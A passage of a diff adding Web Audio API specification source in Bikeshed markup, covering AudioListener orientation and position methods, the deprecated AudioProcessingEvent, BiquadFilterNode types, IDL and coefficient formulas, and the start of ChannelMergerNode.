+		{{forwardZ}}, {{upX}}, {{upY}} and {{upZ}}
+		{{AudioParam}}s have an automation curve set using
+		{{AudioParam/setValueCurveAtTime()}} at the time
+		this method is called, a {{NotSupportedError}} MUST be
+		thrown.</span>
+
+		{{AudioListener/setOrientation()}} describes which direction the listener is pointing in the 3D
+		cartesian coordinate space. Both a [=forward=] vector and an
+		[=up=] vector are provided. In simple human terms, the
+		<dfn dfn>forward</dfn> vector represents which direction the person's
+		nose is pointing. The <dfn dfn>up</dfn> vector represents the direction
+		the top of a person's head is pointing. These two vectors are
+		expected to be linearly independent. For normative requirements
+		of how these values are to be interpreted, see the [[#Spatialization]].
+
+		The {{AudioListener/setOrientation()/x!!argument}}, {{AudioListener/setOrientation()/y!!argument}}, and {{AudioListener/setOrientation()/z!!argument}} parameters represent a <a>forward</a>
+		direction vector in 3D space, with the default value being
+		(0,0,-1).
+
+		The {{AudioListener/setOrientation()/xUp!!argument}}, {{AudioListener/setOrientation()/yUp!!argument}}, and {{AudioListener/setOrientation()/zUp!!argument}} parameters represent an
+		<a>up</a> direction vector in 3D space, with the default value
+		being (0,1,0).
+
+		<pre class=argumentdef for="AudioListener/setOrientation()">
+			x: forward <em>x</em> direction fo the {{AudioListener}}
+			y: forward <em>y</em> direction fo the {{AudioListener}}
+			z: forward <em>z</em> direction fo the {{AudioListener}}
+			xUp: up <em>x</em> direction fo the {{AudioListener}}
+			yUp: up <em>y</em> direction fo the {{AudioListener}}
+			zUp: up <em>z</em> direction fo the {{AudioListener}}
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>setPosition(x, y, z)</dfn>
+	::
+		This method is DEPRECATED. It is equivalent to setting
+		{{AudioListener/positionX}}.{{AudioParam/value}},
+		{{AudioListener/positionY}}.{{AudioParam/value}}, and
+		{{AudioListener/positionZ}}.{{AudioParam/value}}
+		directly with the given <code>x</code>, <code>y</code>, and
+		<code>z</code> values, respectively.
+
+		<span class="synchronous">Consequently, any of the {{AudioListener/positionX}}, {{AudioListener/positionY}},
+		and {{AudioListener/positionZ}} {{AudioParam}}s for this
+		{{AudioListener}} have an automation curve set using
+		{{AudioParam/setValueCurveAtTime()}} at the time
+		this method is called, a {{NotSupportedError}} MUST be
+		thrown.</span>
+
+		{{AudioListener/setPosition()}} sets the position of the listener in a 3D cartesian coordinate
+		space. {{PannerNode}} objects use this position
+		relative to individual audio sources for spatialization.
+
+		The {{AudioListener/setPosition()/x!!argument}}, {{AudioListener/setPosition()/y!!argument}}, and {{AudioListener/setPosition()/z!!argument}} parameters represent the coordinates
+		in 3D space.
+
+		The default value is (0,0,0).
+
+		<pre class=argumentdef for="AudioListener/setPosition()">
+			x: <em>x</em>-coordinate of the position of the {{AudioListener}}
+			y: <em>y</em>-coordinate of the position of the {{AudioListener}}
+			z: <em>z</em>-coordinate of the position of the {{AudioListener}}
+		</pre>
+</dl>
+
+<h4 id="listenerprocessing">
+Processing</h4>
+
+Because {{AudioListener}}'s parameters can be connected with {{AudioNode}}s and
+they can also affect the output of {{PannerNode}}s in the same graph, the node
+ordering algorithm should take the {{AudioListener}} into consideration when
+computing the order of processing. For this reason, all the {{PannerNode}}s in
+the graph have the {{AudioListener}} as input.
+
+<!--
+████████  ████████   ███████   ██████  ████████  ██████   ██████  ████ ██    ██  ██████
+██     ██ ██     ██ ██     ██ ██    ██ ██       ██    ██ ██    ██  ██  ███   ██ ██    ██
+██     ██ ██     ██ ██     ██ ██       ██       ██       ██        ██  ████  ██ ██
+████████  ████████  ██     ██ ██       ██████    ██████   ██████   ██  ██ ██ ██ ██   ████
+██        ██   ██   ██     ██ ██       ██             ██       ██  ██  ██  ████ ██    ██
+██        ██    ██  ██     ██ ██    ██ ██       ██    ██ ██    ██  ██  ██   ███ ██    ██
+██        ██     ██  ███████   ██████  ████████  ██████   ██████  ████ ██    ██  ██████
+-->
+
+<h3 interface lt="audioprocessingevent" id="AudioProcessingEvent">
+The {{AudioProcessingEvent}} Interface - DEPRECATED</h3>
+
+This is an {{Event}} object which is dispatched to
+{{ScriptProcessorNode}} nodes. It will be removed
+when the ScriptProcessorNode is removed, as the replacement
+{{AudioWorkletNode}} uses a different approach.
+
+The event handler processes audio from the input (if any) by
+accessing the audio data from the <code>inputBuffer</code> attribute.
+The audio data which is the result of the processing (or the
+synthesized data if there are no inputs) is then placed into the
+{{AudioProcessingEvent/outputBuffer}}.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioProcessingEvent : Event {
+	constructor (DOMString type, AudioProcessingEventInit eventInitDict);
+	readonly attribute double playbackTime;
+	readonly attribute AudioBuffer inputBuffer;
+	readonly attribute AudioBuffer outputBuffer;
+};
+</pre>
+
+<h4 id="AudioProcessingEvent-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioProcessingEvent">
+	: <dfn>inputBuffer</dfn>
+	::
+		An AudioBuffer containing the input audio data. It will have a
+		number of channels equal to the
+		<code>numberOfInputChannels</code> parameter of the
+		createScriptProcessor() method. This AudioBuffer is only valid
+		while in the scope of the {{ScriptProcessorNode/onaudioprocess}} function.
+		Its values will be meaningless outside of this scope.
+
+	: <dfn>outputBuffer</dfn>
+	::
+		An AudioBuffer where the output audio data MUST be written. It
+		will have a number of channels equal to the
+		<code>numberOfOutputChannels</code> parameter of the
+		createScriptProcessor() method. Script code within the scope of
+		the {{ScriptProcessorNode/onaudioprocess}} function is
+		expected to modify the {{Float32Array}} arrays
+		representing channel data in this AudioBuffer. Any script
+		modifications to this AudioBuffer outside of this scope will not
+		produce any audible effects.
+
+	: <dfn>playbackTime</dfn>
+	::
+		The time when the audio will be played in the same time
+		coordinate system as the {{AudioContext}}'s
+		{{BaseAudioContext/currentTime}}.
+</dl>
+
+<h4 dictionary lt="audioprocessingeventinit" id="AudioProcessingEventInit">
+{{AudioProcessingEventInit}}</h4>
+
+<pre class="idl">
+dictionary AudioProcessingEventInit : EventInit {
+	required double playbackTime;
+	required AudioBuffer inputBuffer;
+	required AudioBuffer outputBuffer;
+};
+</pre>
+
+<h5 id="dictionary-audioprocessingeventinit-members">
+Dictionary {{AudioProcessingEventInit}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="AudioProcessingEventInit">
+	: <dfn>inputBuffer</dfn>
+	::
+		Value to be assigned to the {{AudioProcessingEvent/inputBuffer}} attribute
+		of the event.
+
+	: <dfn>outputBuffer</dfn>
+	::
+		Value to be assigned to the {{AudioProcessingEvent/outputBuffer}} attribute
+		of the event.
+
+	: <dfn>playbackTime</dfn>
+	::
+		Value to be assigned to the {{AudioProcessingEvent/playbackTime}} attribute
+		of the event.
+</dl>
+
+<h3 interface lt="biquadfilternode" id="BiquadFilterNode">
+The {{BiquadFilterNode}} Interface</h3>
+
+{{BiquadFilterNode}} is an
+{{AudioNode}} processor implementing very common
+low-order filters.
+
+Low-order filters are the building blocks of basic tone controls
+(bass, mid, treble), graphic equalizers, and more advanced filters.
+Multiple {{BiquadFilterNode}} filters can be combined
+to form more complex filters. The filter parameters such as
+{{BiquadFilterNode/frequency}} can be
+changed over time for filter sweeps, etc. Each
+{{BiquadFilterNode}} can be configured as one of a
+number of common filter types as shown in the IDL below. The default
+filter type is <code>"lowpass"</code>.
+
+Both {{BiquadFilterNode/frequency}}
+and {{BiquadFilterNode/detune}} form
+a <a>compound parameter</a> and are both <a>a-rate</a>. They are used
+together to determine a <dfn>computedFrequency</dfn> value:
+
+<pre highlight>
+	computedFrequency(t) = frequency(t) * pow(2, detune(t) / 1200)
+</pre>
+
+The <a>nominal range</a> for this <a>compound parameter</a> is [0,
+<a>Nyquist frequency</a>].
+
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: Yes
+	tail-time-notes:  Continues to output non-silent audio with zero input. Since this is an IIR filter, the filter produces non-zero input forever, but in practice, this can be limited after some finite time where the output is sufficiently close to zero. The actual time depends on the filter coefficients.
+</pre>
+
+The number of channels of the output always equals the number of
+channels of the input.
+
+<pre class="idl">
+enum BiquadFilterType {
+	"lowpass",
+	"highpass",
+	"bandpass",
+	"lowshelf",
+	"highshelf",
+	"peaking",
+	"notch",
+	"allpass"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="BiquadFilterType">
+	<thead>
+	<tr>
+		<th scope="col" colspan="2">
+			Enumeration description
+	<tbody>
+	<tr>
+		<td>"<dfn>lowpass</dfn>"
+		<td>
+			A <a href="https://en.wikipedia.org/wiki/Low-pass_filter">lowpass
+			filter</a> allows frequencies below the cutoff frequency to
+			pass through and attenuates frequencies above the cutoff. It
+			implements a standard second-order resonant lowpass filter with
+			12dB/octave rolloff.
+
+			: frequency
+			:: The cutoff frequency
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Controls how peaked the response will be at the cutoff
+				frequency. A large value makes the response more peaked.
+			: gain
+			:: Not used in this filter type
+	<tr>
+		<td>"<dfn>highpass</dfn>"
+		<td>
+			A <a href="https://en.wikipedia.org/wiki/High-pass_filter">highpass
+			filter</a> is the opposite of a lowpass filter. Frequencies
+			above the cutoff frequency are passed through, but frequencies
+			below the cutoff are attenuated. It implements a standard
+			second-order resonant highpass filter with 12dB/octave rolloff.
+
+			: frequency
+			:: The cutoff frequency below which the frequencies are
+				attenuated
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Controls how peaked the response will be at the cutoff
+				frequency. A large value makes the response more peaked.
+			: gain
+			:: Not used in this filter type
+	<tr>
+		<td>"<dfn>bandpass</dfn>"
+		<td>
+			A <a href="https://en.wikipedia.org/wiki/Band-pass_filter">bandpass
+			filter</a> allows a range of frequencies to pass through and
+			attenuates the frequencies below and above this frequency
+			range. It implements a second-order bandpass filter.
+
+			: frequency
+			:: The center of the frequency band
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Controls the width of the band. The width becomes narrower
+				as the Q value increases.
+			: gain
+			:: Not used in this filter type
+	<tr>
+		<td>"<dfn>lowshelf</dfn>"
+		<td>
+			The lowshelf filter allows all frequencies through, but adds a
+			boost (or attenuation) to the lower frequencies. It implements
+			a second-order lowshelf filter.
+
+			: frequency
+			:: The upper limit of the frequences where the boost (or
+				attenuation) is applied.
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Not used in this filter type.
+			: gain
+			:: The boost, in dB, to be applied. If the value is negative,
+				the frequencies are attenuated.
+	<tr>
+		<td>"<dfn>highshelf</dfn>"
+		<td>
+			The highshelf filter is the opposite of the lowshelf filter and
+			allows all frequencies through, but adds a boost to the higher
+			frequencies. It implements a second-order highshelf filter
+
+			: frequency
+			:: The lower limit of the frequences where the boost (or
+				attenuation) is applied.
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Not used in this filter type.
+			: gain
+			:: The boost, in dB, to be applied. If the value is negative,
+				the frequencies are attenuated.
+	<tr>
+		<td>"<dfn>peaking</dfn>"
+		<td>
+			The peaking filter allows all frequencies through, but adds a
+			boost (or attenuation) to a range of frequencies.
+
+			: frequency
+			:: The center frequency of where the boost is applied.
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Controls the width of the band of frequencies that are
+				boosted. A large value implies a narrow width.
+			: gain
+			:: The boost, in dB, to be applied. If the value is negative,
+				the frequencies are attenuated.
+	<tr>
+		<td>"<dfn>notch</dfn>"
+		<td>
+			The notch filter (also known as a <a href="https://en.wikipedia.org/wiki/Band-stop_filter">band-stop or
+			band-rejection filter</a>) is the opposite of a bandpass
+			filter. It allows all frequencies through, except for a set of
+			frequencies.
+
+			: frequency
+			:: The center frequency of where the notch is applied.
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Controls the width of the band of frequencies that are
+				attenuated. A large value implies a narrow width.
+			: gain
+			:: Not used in this filter type.
+	<tr>
+		<td>"<dfn>allpass</dfn>"
+		<td>
+			An <a href="https://en.wikipedia.org/wiki/All-pass_filter#Digital_Implementation">
+			allpass filter</a> allows all frequencies through, but changes
+			the phase relationship between the various frequencies. It
+			implements a second-order allpass filter
+
+			: frequency
+			:: The frequency where the center of the phase transition
+				occurs. Viewed another way, this is the frequency with
+				maximal <a href="https://en.wikipedia.org/wiki/Group_delay">group
+				delay</a>.
+			: <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+			:: Controls how sharp the phase transition is at the center
+				frequency. A larger value implies a sharper transition and
+				a larger group delay.
+			: gain
+			:: Not used in this filter type.
+</table>
+</div>
+
+All attributes of the {{BiquadFilterNode}} are <a>a-rate</a> {{AudioParam}}s.
+
+<pre class="idl">
+[Exposed=Window]
+interface BiquadFilterNode : AudioNode {
+	constructor (BaseAudioContext context, optional BiquadFilterOptions options = {});
+	attribute BiquadFilterType type;
+	readonly attribute AudioParam frequency;
+	readonly attribute AudioParam detune;
+	readonly attribute AudioParam Q;
+	readonly attribute AudioParam gain;
+	undefined getFrequencyResponse (Float32Array frequencyHz,
+	                                Float32Array magResponse,
+	                                Float32Array phaseResponse);
+};
+</pre>
+
+<h4 id="BiquadFilterNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=method dfn-for="BiquadFilterNode">
+	: <dfn>BiquadFilterNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="BiquadFilterNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{BiquadFilterNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{BiquadFilterNode}}.
+		</pre>
+</dl>
+
+<h4 id="BiquadFilterNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="BiquadFilterNode">
+	: <dfn>Q</dfn>
+	::
+		The <a href="https://en.wikipedia.org/wiki/Q_factor">Q</a>
+		factor of the filter.
+
+		For {{BiquadFilterType/lowpass}} and
+		{{BiquadFilterType/highpass}} filters the
+		{{BiquadFilterNode/Q}} value is interpreted to be in
+		dB.  For these filters the nominal range is
+		\([-Q_{lim}, Q_{lim}]\) where \(Q_{lim}\) is the largest
+		value for which \(10^{Q/20}\) does not overflow.  This
+		is approximately \(770.63678\).
+
+		For the {{BiquadFilterType/bandpass}},
+		{{BiquadFilterType/notch}},
+		{{BiquadFilterType/allpass}}, and
+		{{BiquadFilterType/peaking}} filters, this value is a
+		linear value.  The value is related to the bandwidth
+		of the filter and hence should be a positive value.
+		The nominal range is \([0, 3.4028235e38]\), the upper
+		limit being the <a>most-positive-single-float</a>.
+
+		This is not used for the {{BiquadFilterType/lowshelf}}
+		and {{BiquadFilterType/highshelf}} filters.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38, but see above for the actual limits for different filters
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38, but see above for the actual limits for different filters
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>detune</dfn>
+	::
+		A detune value, in cents, for the frequency. It forms a
+		<a>compound parameter</a> with {{BiquadFilterNode/frequency}} to form the <a>computedFrequency</a>.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: \(\approx -153600\)
+			min-notes:
+			max: \(\approx 153600\)
+			max-notes: This value is approximately \(1200\ \log_2 \mathrm{FLT\_MAX}\) where FLT_MAX is the largest {{float}} value.
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>frequency</dfn>
+	::
+		The frequency at which the {{BiquadFilterNode}}
+		will operate, in Hz. It forms a <a>compound parameter</a> with
+		{{BiquadFilterNode/detune}} to form the <a>computedFrequency</a>.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 350
+			min: 0
+			max: <a>Nyquist frequency</a>
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>gain</dfn>
+	::
+		The gain of the filter. Its value is in dB units. The gain is
+		only used for {{BiquadFilterType/lowshelf}},
+		{{BiquadFilterType/highshelf}}, and
+		{{BiquadFilterType/peaking}} filters.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: \(\approx 1541\)
+			max-notes: This value is approximately \(40\ \log_{10} \mathrm{FLT\_MAX}\) where FLT_MAX is the largest {{float}} value.
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>type</dfn>
+	::
+		The type of this {{BiquadFilterNode}}. Its
+		default value is "{{BiquadFilterType/lowpass}}". The exact meaning of the other
+		parameters depend on the value of the {{BiquadFilterNode/type}}
+		attribute.
+</dl>
+
+<h4 id="BiquadFilterNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="BiquadFilterNode">
+	: <dfn>getFrequencyResponse(frequencyHz, magResponse, phaseResponse)</dfn>
+	::
+		<span class="synchronous">Given the {{[[current value]]}}
+		from each of the filter parameters, synchronously
+		calculates the frequency response for
+		the specified frequencies. The three parameters MUST be
+		{{Float32Array}}s of the same length, or an
+		{{InvalidAccessError}} MUST be thrown.</span>
+
+		The frequency response returned MUST be computed with the
+		{{AudioParam}} sampled for the current
+		processing block.
+
+		<pre class=argumentdef for="BiquadFilterNode/getFrequencyResponse()">
+			frequencyHz: This parameter specifies an array of frequencies, in Hz, at which the response values will be calculated.
+			magResponse: This parameter specifies an output array receiving the linear magnitude response values. If a value in the <code>frequencyHz</code> parameter is not within [0, sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>magResponse</code> array MUST be <code>NaN</code>.
+			phaseResponse: This parameter specifies an output array receiving the phase response values in radians. If a value in the <code>frequencyHz</code> parameter is not within [0; sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>phaseResponse</code> array MUST be <code>NaN</code>.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h4 dictionary lt="biquadfilteroptions" id="BiquadFilterOptions">
+{{BiquadFilterOptions}}</h4>
+
+This specifies the options to be used when constructing a
+{{BiquadFilterNode}}. All members are optional; if
+not specified, the normal default values are used to construct the
+node.
+
+<pre class="idl">
+dictionary BiquadFilterOptions : AudioNodeOptions {
+	BiquadFilterType type = "lowpass";
+	float Q = 1;
+	float detune = 0;
+	float frequency = 350;
+	float gain = 0;
+};
+</pre>
+
+<h5 id="dictionary-biquadfilteroptions-members">
+Dictionary {{BiquadFilterOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="BiquadFilterOptions">
+	: <dfn>Q</dfn>
+	:: The desired initial value for {{BiquadFilterNode/Q}}.
+
+	: <dfn>detune</dfn>
+	:: The desired initial value for {{BiquadFilterNode/detune}}.
+
+	: <dfn>frequency</dfn>
+	:: The desired initial value for {{BiquadFilterNode/frequency}}.
+
+	: <dfn>gain</dfn>
+	:: The desired initial value for {{BiquadFilterNode/gain}}.
+
+	: <dfn>type</dfn>
+	:: The desired initial type of the filter.
+</dl>
+
+<h4 id="filters-characteristics">
+Filters Characteristics</h4>
+
+There are multiple ways of implementing the type of filters
+available through the {{BiquadFilterNode}} each
+having very different characteristics. The formulas in this section
+describe the filters that a <a>conforming implementation</a> MUST
+implement, as they determine the characteristics of the different
+filter types. They are inspired by formulas found in the
+<a href="https://webaudio.github.io/Audio-EQ-Cookbook/audio-eq-cookbook.html">Audio EQ Cookbook</a>.
+
+The {{BiquadFilterNode}} processes audio with a transfer function of
+
+<pre nohighlight>
+$$
+ H(z) = \frac{\frac{b_0}{a_0} + \frac{b_1}{a_0}z^{-1} + \frac{b_2}{a_0}z^{-2}}
+                                          {1+\frac{a_1}{a_0}z^{-1}+\frac{a_2}{a_0}z^{-2}}
+$$
+</pre>
+
+which is equivalent to a time-domain equation of:
+
+<pre nohighlight>
+$$
+a_0 y(n) + a_1 y(n-1) + a_2 y(n-2) =
+	b_0 x(n) + b_1 x(n-1) + b_2 x(n-2)
+$$
+</pre>
+
+
+The initial filter state is 0.
+
+Note: While fixed filters are stable, it is possible to create
+unstable biquad filters using automations of {{AudioParam}}s.  It is
+the developers responsibility to manage this.
+
+Note: The UA may produce a warning to notify the user that NaN values have occurred in the filter state.  This is usually indicative of an unstable filter.
+
+The coefficients in the transfer function above are different for
+each node type. The following intermediate variables are necessary for
+their computation, based on the <a>computedValue</a> of the
+{{AudioParam}}s of the
+{{BiquadFilterNode}}.
+
+* Let \(F_s\) be the value of the {{BaseAudioContext/sampleRate}} attribute for this {{AudioContext}}.
+
+* Let \(f_0\) be the value of the <a>computedFrequency</a>.
+
+* Let \(G\) be the value of the {{BiquadFilterNode/gain}} {{AudioParam}}.
+
+* Let \(Q\) be the value of the {{BiquadFilterNode/Q}} {{AudioParam}}.
+
+* Finally let
+	<!-- Should \alpha_S be simplified since S is always 1?-->
+	<pre nohighlight>
+	$$
+	\begin{align*}
+		A &amp;= 10^{\frac{G}{40}} \\
+		\omega_0 &amp;= 2\pi\frac{f_0}{F_s} \\
+		\alpha_Q &amp;= \frac{\sin\omega_0}{2Q} \\
+		\alpha_{Q_{dB}} &amp;= \frac{\sin\omega_0}{2 \cdot 10^{Q/20}} \\
+		S &amp;= 1 \\
+		\alpha_S &amp;= \frac{\sin\omega_0}{2}\sqrt{\left(A+\frac{1}{A}\right)\left(\frac{1}{S}-1\right)+2}
+	\end{align*}
+	$$
+	</pre>
+
+The six coefficients (\(b_0, b_1, b_2, a_0, a_1, a_2\)) for each
+filter type, are:
+
+: "{{lowpass}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= \frac{1 - \cos\omega_0}{2} \\
+			b_1 &amp;= 1 - \cos\omega_0 \\
+			b_2 &amp;= \frac{1 - \cos\omega_0}{2} \\
+			a_0 &amp;= 1 + \alpha_{Q_{dB}} \\
+			a_1 &amp;= -2 \cos\omega_0 \\
+			a_2 &amp;= 1 - \alpha_{Q_{dB}}
+		\end{align*}
+	$$
+	</pre>
+
+: "{{highpass}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= \frac{1 + \cos\omega_0}{2} \\
+			b_1 &amp;= -(1 + \cos\omega_0) \\
+			b_2 &amp;= \frac{1 + \cos\omega_0}{2} \\
+			a_0 &amp;= 1 + \alpha_{Q_{dB}} \\
+			a_1 &amp;= -2 \cos\omega_0 \\
+			a_2 &amp;= 1 - \alpha_{Q_{dB}}
+		\end{align*}
+	$$
+	</pre>
+
+: "{{bandpass}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= \alpha_Q \\
+			b_1 &amp;= 0 \\
+			b_2 &amp;= -\alpha_Q \\
+			a_0 &amp;= 1 + \alpha_Q \\
+			a_1 &amp;= -2 \cos\omega_0 \\
+			a_2 &amp;= 1 - \alpha_Q
+		\end{align*}
+	$$
+	</pre>
+
+: "{{notch}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= 1 \\
+			b_1 &amp;= -2\cos\omega_0 \\
+			b_2 &amp;= 1 \\
+			a_0 &amp;= 1 + \alpha_Q \\
+			a_1 &amp;= -2 \cos\omega_0 \\
+			a_2 &amp;= 1 - \alpha_Q
+		\end{align*}
+	$$
+	</pre>
+
+: "{{allpass}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= 1 - \alpha_Q \\
+			b_1 &amp;= -2\cos\omega_0 \\
+			b_2 &amp;= 1 + \alpha_Q \\
+			a_0 &amp;= 1 + \alpha_Q \\
+			a_1 &amp;= -2 \cos\omega_0 \\
+			a_2 &amp;= 1 - \alpha_Q
+		\end{align*}
+	$$
+	</pre>
+
+: "{{peaking}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= 1 + \alpha_Q\, A \\
+			b_1 &amp;= -2\cos\omega_0 \\
+			b_2 &amp;= 1 - \alpha_Q\,A \\
+			a_0 &amp;= 1 + \frac{\alpha_Q}{A} \\
+			a_1 &amp;= -2 \cos\omega_0 \\
+			a_2 &amp;= 1 - \frac{\alpha_Q}{A}
+		\end{align*}
+	$$
+	</pre>
+
+: "{{lowshelf}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= A \left[ (A+1) - (A-1) \cos\omega_0 + 2 \alpha_S \sqrt{A})\right] \\
+			b_1 &amp;= 2 A \left[ (A-1) - (A+1) \cos\omega_0 )\right] \\
+			b_2 &amp;= A \left[ (A+1) - (A-1) \cos\omega_0 - 2 \alpha_S \sqrt{A}) \right] \\
+			a_0 &amp;= (A+1) + (A-1) \cos\omega_0 + 2 \alpha_S \sqrt{A} \\
+			a_1 &amp;= -2 \left[ (A-1) + (A+1) \cos\omega_0\right] \\
+			a_2 &amp;= (A+1) + (A-1) \cos\omega_0 - 2 \alpha_S \sqrt{A})
+		\end{align*}
+	$$
+	</pre>
+
+: "{{highshelf}}"
+::
+	<pre nohighlight>
+	$$
+		\begin{align*}
+			b_0 &amp;= A\left[ (A+1) + (A-1)\cos\omega_0 + 2\alpha_S\sqrt{A} )\right] \\
+			b_1 &amp;= -2A\left[ (A-1) + (A+1)\cos\omega_0 )\right] \\
+			b_2 &amp;= A\left[ (A+1) + (A-1)\cos\omega_0 - 2\alpha_S\sqrt{A} )\right] \\
+			a_0 &amp;= (A+1) - (A-1)\cos\omega_0 + 2\alpha_S\sqrt{A} \\
+			a_1 &amp;= 2\left[ (A-1) - (A+1)\cos\omega_0\right] \\
+			a_2 &amp;= (A+1) - (A-1)\cos\omega_0 - 2\alpha_S\sqrt{A}
+		\end{align*}
+	$$
+	</pre>
+
+
+<!--
+ ██████  ██     ██    ███    ██    ██ ██    ██ ████████ ██
+██    ██ ██     ██   ██ ██   ███   ██ ███   ██ ██       ██
+██       ██     ██  ██   ██  ████  ██ ████  ██ ██       ██
+██       █████████ ██     ██ ██ ██ ██ ██ ██ ██ ██████   ██
+██       ██     ██ █████████ ██  ████ ██  ████ ██       ██
+██    ██ ██     ██ ██     ██ ██   ███ ██   ███ ██       ██
+ ██████  ██     ██ ██     ██ ██    ██ ██    ██ ████████ ████████
+
+██     ██ ████████ ████████   ██████   ████████ ████████
+███   ███ ██       ██     ██ ██    ██  ██       ██     ██
+████ ████ ██       ██     ██ ██        ██       ██     ██
+██ ███ ██ ██████   ████████  ██   ████ ██████   ████████
+██     ██ ██       ██   ██   ██    ██  ██       ██   ██
+██     ██ ██       ██    ██  ██    ██  ██       ██    ██
+██     ██ ████████ ██     ██  ██████   ████████ ██     ██
+-->
+
+<h3 interface lt="channelmergernode" id="ChannelMergerNode">
+The {{ChannelMergerNode}} Interface</h3>
+
+The {{ChannelMergerNode}} is for use in more advanced
+applications and would often be used in conjunction with
+{{ChannelSplitterNode}}.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: see notes
+	noi-notes:  Defaults to 6, but is determined by {{ChannelMergerOptions}},{{ChannelMergerOptions/numberOfInputs}} or the value specified by {{BaseAudioContext/createChannelMerger}}.
+	noo: 1
+	cc: 1
+	cc-notes: Has <a>channelCount constraints</a>
+	cc-mode: explicit
+	cc-mode-notes: Has <a>channelCountMode constraints</a>
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+This interface represents an {{AudioNode}} for
+combining channels from multiple audio streams into a single audio
+stream. It has a variable number of inputs (defaulting to 6), but not
+all of them need be connected. There is a single output whose audio
+stream has a number of channels equal to the number of inputs when any
+of the inputs is [=actively processing=].  If none of the inputs are
+[=actively processing=], then output is a single channel of silence.
+
+To merge multiple inputs into one stream, each input gets downmixed
+into one channel (mono) based on the specified mixing rule. An
+unconnected input still counts as <b>one silent channel</b> in the
+output. Changing input streams does <b>not</b> affect the order of
+output channels.
+
+<div class=example>
+	For example, if a default {{ChannelMergerNode}} has
+	two connected stereo inputs, the first and second input will be
+	downmixed to mono respectively before merging. The output will be a
+	6-channel stream whose first two channels are be filled with the
+	first two (downmixed) inputs and the rest of channels will be silent.
+
+	Also the {{ChannelMergerNode}} can be used to arrange
+	multiple audio streams in a certain order for the multi-channel
+	speaker array such as 5.1 surround set up. The merger does not
+	interpret the channel identities (such as left, right, etc.), but
+	simply combines channels in the order that they are input.
+
+	<figure>
+		<img alt="channel merger" src="images/channel-merger.svg">
+		<figcaption>
+			A diagram of ChannelMerger
+		</figcaption>
+	</figure>
+</div>
+
+<pre class="idl">
+[Exposed=Window]
+interface ChannelMergerNode : AudioNode {
+	constructor (BaseAudioContext context, optional ChannelMergerOptions options = {});
+};
+</pre>
+
+<h4 id="ChannelMergerNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=method dfn-for="ChannelMergerNode/constructor">
+	: <dfn>ChannelMergerNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="ChannelMergerNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{ChannelMergerNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{ChannelMergerNode}}.
+		</pre>
+</dl>
+
+<h4 dictionary lt="channelmergeroptions" id="ChannelMergerOptions">
+{{ChannelMergerOptions}}</h4>
+
+<pre class="idl">
+dictionary ChannelMergerOptions : AudioNodeOptions {
+	unsigned long numberOfInputs = 6;
+};
+</pre>
+
+<h5 id="dictionary-channelmergeroptions-members">
+Dictionary {{ChannelMergerOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="ChannelMergerOptions">
